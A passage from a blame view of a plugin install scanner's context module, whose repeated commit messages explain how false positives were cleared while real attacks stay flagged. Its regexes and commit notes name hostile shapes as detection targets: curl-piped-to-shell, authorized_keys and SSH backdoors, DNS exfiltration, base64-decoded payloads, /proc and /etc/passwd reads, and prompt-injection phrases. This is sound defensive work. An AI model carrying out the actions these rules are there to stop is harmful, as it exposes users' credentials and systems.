r"|\bmin(?:e[sd]?|ers?|ing)\b|--(?:coin|algo)\b", re.IGNORECASE)
def _is_standalone_coin_name(line: str, start: int, end: int) -> bool:
return (line[start:end].lower() == "monero" and (start == 0 or not line[start - 1].isalnum())
and (end == len(line) or not line[end].isalnum()))
def is_coin_name_only(finding: Finding, line: str) -> bool:
"""Every ``crypto_mining`` hit on the line is the standalone word ``monero`` and nothing on
the line names mining software, a pool or the act of mining."""
if finding.pattern_id != "crypto_mining" or _MINING_MACHINERY.search(line):
return False
rx = _PATTERN_BY_ID.get(finding.pattern_id)
hits = list(rx.finditer(line)) if rx else []
return bool(hits) and all(_is_standalone_coin_name(line, h.start(), h.end()) for h in hits)
fix(plugins): clear catalog sweep 1028 scanner false positives and close three validator gaps Install scanner (tools/plugin_guard*, PLUGIN_SCANNER_VERSION bumped once): - hardcoded_secret: a PostHog project key (phc_, write-only ingest key) joins the Google installed-app secret as a public client key -> high (caution), only when every matched literal on the line has a public prefix (telesec telemetry.py:27 was dangerous). phx_ personal keys and any other token stay critical. - proc_access: reads of /proc/self|<pid>/{cgroup,mountinfo,stat,status,...} (container placement, pid start time) land at low instead of high (hermes-lcm-x cpu_capacity.py was caution). environ, cmdline, mem, maps, fd, root/cwd, ns, bare /proc/self, any unlisted leaf and any write keep high. Generalises #144304's cgroup/mountinfo allowance and keeps the finding visible instead of dropping it. - bytecode_file: a committed .pyc/.pyo (git ls-files; plus any bytecode outside __pycache__) is a high structural finding, the binary_file tier (rule 17; hermes-emotion shipped tests/__pycache__/*.pyc and scanned safe). Untracked caches the validate run writes are not flagged. Validator (hermes plugins validate, warnings only): - private imports: gateway.session_context.get_session_env is the documented route (plugins/index.md) and a plugin's fallback import of its own install path (plugins.memory.openltm._db) is not a core import. - new warning for private-method calls on core handles (SessionDB, AIAgent, GatewayRunner, PluginContext) the plugin does not define itself (opencode-sync db._execute_write, runner._evict_cached_agent). - desktop surface review warning for raw window.hermesDesktop calls and app markup selectors ([data-slot], [data-tree-*], [data-pane-host]) in CSS text or closest() (squad-hub, novel-reader, search-sources).
2026-10-28 22:12:37 -07:00
# Key shapes the vendor documents as public, shipped in every copy of a client: a Google
# installed-app (desktop/CLI) OAuth client secret (``GOCSPX-``, gcloud ships one) and a PostHog
# project API key (``phc_``, a write-only ingest key every web page embeds). The literal identifies
# a client rather than leaking a credential, so it stays in the report for review (caution) instead
# of hard-blocking the install. Only when EVERY ``hardcoded_secret`` literal on the line has one of
# these prefixes: a PostHog personal key (``phx_``) or any other token beside it keeps critical.
_PUBLIC_CLIENT_KEY_PREFIXES = ("GOCSPX-", "phc_")
_SECRET_LITERAL = re.compile(r'[=:]\s*["\']([A-Za-z0-9+/=_-]{20,})')
def is_public_client_key(finding: Finding, line: str) -> bool:
"""A ``hardcoded_secret`` hit whose every matched literal is a public-by-design client key."""
if finding.pattern_id != "hardcoded_secret":
return False
literals = [_SECRET_LITERAL.search(m.group(0)) for m in _PATTERN_BY_ID["hardcoded_secret"].finditer(line)]
return bool(literals) and all(
lit is not None and lit.group(1).startswith(_PUBLIC_CLIENT_KEY_PREFIXES) for lit in literals)
# ``/proc/self/<leaf>`` and ``/proc/<pid>/<leaf>`` files that describe scheduling and container
# placement (cgroup membership, mount layout, start time in ``stat``, limits): container CPU-quota
# detection and pid-reuse checks read them. A read of one of these is not process introspection.
# The leaves that leak or reach another process keep ``high``: ``environ``, ``cmdline``, ``mem``,
# ``maps``, ``fd``, ``root``/``cwd`` (procfs escape into the host tree), ``exe``, ``ns`` and any
# leaf not listed, as do a bare ``/proc/self`` and any write.
_BENIGN_PROC_LEAVES = frozenset({
"cgroup", "mountinfo", "mounts", "stat", "statm", "status", "limits", "io", "comm", "cpuset",
"sched", "schedstat", "oom_score"})
_PROC_PATH = re.compile(r"/proc/(?:self|\d+)(?:/([\w.-]*))?")
_PROC_WRITE = re.compile(
r"write_text|write_bytes|\.write\s*\(|open\s*\([^)\n]{0,300}?['\"][rbt]*[wax+][rbt+]*['\"]|O_WRONLY|O_RDWR|>\s*['\"]?/proc/|\btee\b")
fix(plugins): clear catalog sweep 1028 scanner false positives and close three validator gaps Install scanner (tools/plugin_guard*, PLUGIN_SCANNER_VERSION bumped once): - hardcoded_secret: a PostHog project key (phc_, write-only ingest key) joins the Google installed-app secret as a public client key -> high (caution), only when every matched literal on the line has a public prefix (telesec telemetry.py:27 was dangerous). phx_ personal keys and any other token stay critical. - proc_access: reads of /proc/self|<pid>/{cgroup,mountinfo,stat,status,...} (container placement, pid start time) land at low instead of high (hermes-lcm-x cpu_capacity.py was caution). environ, cmdline, mem, maps, fd, root/cwd, ns, bare /proc/self, any unlisted leaf and any write keep high. Generalises #144304's cgroup/mountinfo allowance and keeps the finding visible instead of dropping it. - bytecode_file: a committed .pyc/.pyo (git ls-files; plus any bytecode outside __pycache__) is a high structural finding, the binary_file tier (rule 17; hermes-emotion shipped tests/__pycache__/*.pyc and scanned safe). Untracked caches the validate run writes are not flagged. Validator (hermes plugins validate, warnings only): - private imports: gateway.session_context.get_session_env is the documented route (plugins/index.md) and a plugin's fallback import of its own install path (plugins.memory.openltm._db) is not a core import. - new warning for private-method calls on core handles (SessionDB, AIAgent, GatewayRunner, PluginContext) the plugin does not define itself (opencode-sync db._execute_write, runner._evict_cached_agent). - desktop surface review warning for raw window.hermesDesktop calls and app markup selectors ([data-slot], [data-tree-*], [data-pane-host]) in CSS text or closest() (squad-hub, novel-reader, search-sources).
2026-10-28 22:12:37 -07:00
def is_own_proc_read(finding: Finding, line: str) -> bool:
"""A ``proc_access`` hit where every ``/proc`` path on the line is a benign leaf, read only."""
if finding.pattern_id != "proc_access":
return False
leaves = [m.group(1) for m in _PROC_PATH.finditer(line)]
return bool(leaves) and all(leaf in _BENIGN_PROC_LEAVES for leaf in leaves) and not _PROC_WRITE.search(line)
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
__all__ = [
2026-10-08 19:54:07 +02:00
"DOC_PROSE_EXTENSIONS",
"LITERAL_INERT_PATTERN_IDS",
"STEP_DOWN",
"TEST_TREE_DIRS",
"is_agent_facing",
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"is_authorized_keys_prose",
"is_base64_archive_roundtrip",
2026-10-08 19:54:07 +02:00
"is_base64_media",
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"is_benign_lazy_os_import",
2026-10-08 19:54:07 +02:00
"is_ci_workflow",
"is_coin_name_only",
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"is_disclosed_config_note",
2026-10-08 19:54:07 +02:00
"is_doc_prose",
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"is_env_dump_in_safety_clause",
2026-10-08 19:54:07 +02:00
"is_hex_in_char_class",
"is_inert_fixture_line",
"is_json_prose_value",
"is_loopback_continuation",
"is_loopback_only",
fix(plugins): clear catalog sweep 1028 scanner false positives and close three validator gaps Install scanner (tools/plugin_guard*, PLUGIN_SCANNER_VERSION bumped once): - hardcoded_secret: a PostHog project key (phc_, write-only ingest key) joins the Google installed-app secret as a public client key -> high (caution), only when every matched literal on the line has a public prefix (telesec telemetry.py:27 was dangerous). phx_ personal keys and any other token stay critical. - proc_access: reads of /proc/self|<pid>/{cgroup,mountinfo,stat,status,...} (container placement, pid start time) land at low instead of high (hermes-lcm-x cpu_capacity.py was caution). environ, cmdline, mem, maps, fd, root/cwd, ns, bare /proc/self, any unlisted leaf and any write keep high. Generalises #144304's cgroup/mountinfo allowance and keeps the finding visible instead of dropping it. - bytecode_file: a committed .pyc/.pyo (git ls-files; plus any bytecode outside __pycache__) is a high structural finding, the binary_file tier (rule 17; hermes-emotion shipped tests/__pycache__/*.pyc and scanned safe). Untracked caches the validate run writes are not flagged. Validator (hermes plugins validate, warnings only): - private imports: gateway.session_context.get_session_env is the documented route (plugins/index.md) and a plugin's fallback import of its own install path (plugins.memory.openltm._db) is not a core import. - new warning for private-method calls on core handles (SessionDB, AIAgent, GatewayRunner, PluginContext) the plugin does not define itself (opencode-sync db._execute_write, runner._evict_cached_agent). - desktop surface review warning for raw window.hermesDesktop calls and app markup selectors ([data-slot], [data-tree-*], [data-pane-host]) in CSS text or closest() (squad-hub, novel-reader, search-sources).
2026-10-28 22:12:37 -07:00
"is_own_proc_read",
2026-10-08 19:54:07 +02:00
"is_pip_install_in_prose_literal",
fix(plugins): clear catalog sweep 1028 scanner false positives and close three validator gaps Install scanner (tools/plugin_guard*, PLUGIN_SCANNER_VERSION bumped once): - hardcoded_secret: a PostHog project key (phc_, write-only ingest key) joins the Google installed-app secret as a public client key -> high (caution), only when every matched literal on the line has a public prefix (telesec telemetry.py:27 was dangerous). phx_ personal keys and any other token stay critical. - proc_access: reads of /proc/self|<pid>/{cgroup,mountinfo,stat,status,...} (container placement, pid start time) land at low instead of high (hermes-lcm-x cpu_capacity.py was caution). environ, cmdline, mem, maps, fd, root/cwd, ns, bare /proc/self, any unlisted leaf and any write keep high. Generalises #144304's cgroup/mountinfo allowance and keeps the finding visible instead of dropping it. - bytecode_file: a committed .pyc/.pyo (git ls-files; plus any bytecode outside __pycache__) is a high structural finding, the binary_file tier (rule 17; hermes-emotion shipped tests/__pycache__/*.pyc and scanned safe). Untracked caches the validate run writes are not flagged. Validator (hermes plugins validate, warnings only): - private imports: gateway.session_context.get_session_env is the documented route (plugins/index.md) and a plugin's fallback import of its own install path (plugins.memory.openltm._db) is not a core import. - new warning for private-method calls on core handles (SessionDB, AIAgent, GatewayRunner, PluginContext) the plugin does not define itself (opencode-sync db._execute_write, runner._evict_cached_agent). - desktop surface review warning for raw window.hermesDesktop calls and app markup selectors ([data-slot], [data-tree-*], [data-pane-host]) in CSS text or closest() (squad-hub, novel-reader, search-sources).
2026-10-28 22:12:37 -07:00
"is_public_client_key",
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"is_quoted_injection_phrase",
2026-10-08 19:54:07 +02:00
"is_regex_alternation_token",
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"is_repo_root_traversal",
2026-10-08 19:54:07 +02:00
"is_self_uninstall_doc",
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"is_sudo_inert",
2026-10-08 19:54:07 +02:00
"is_test_tree",
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / 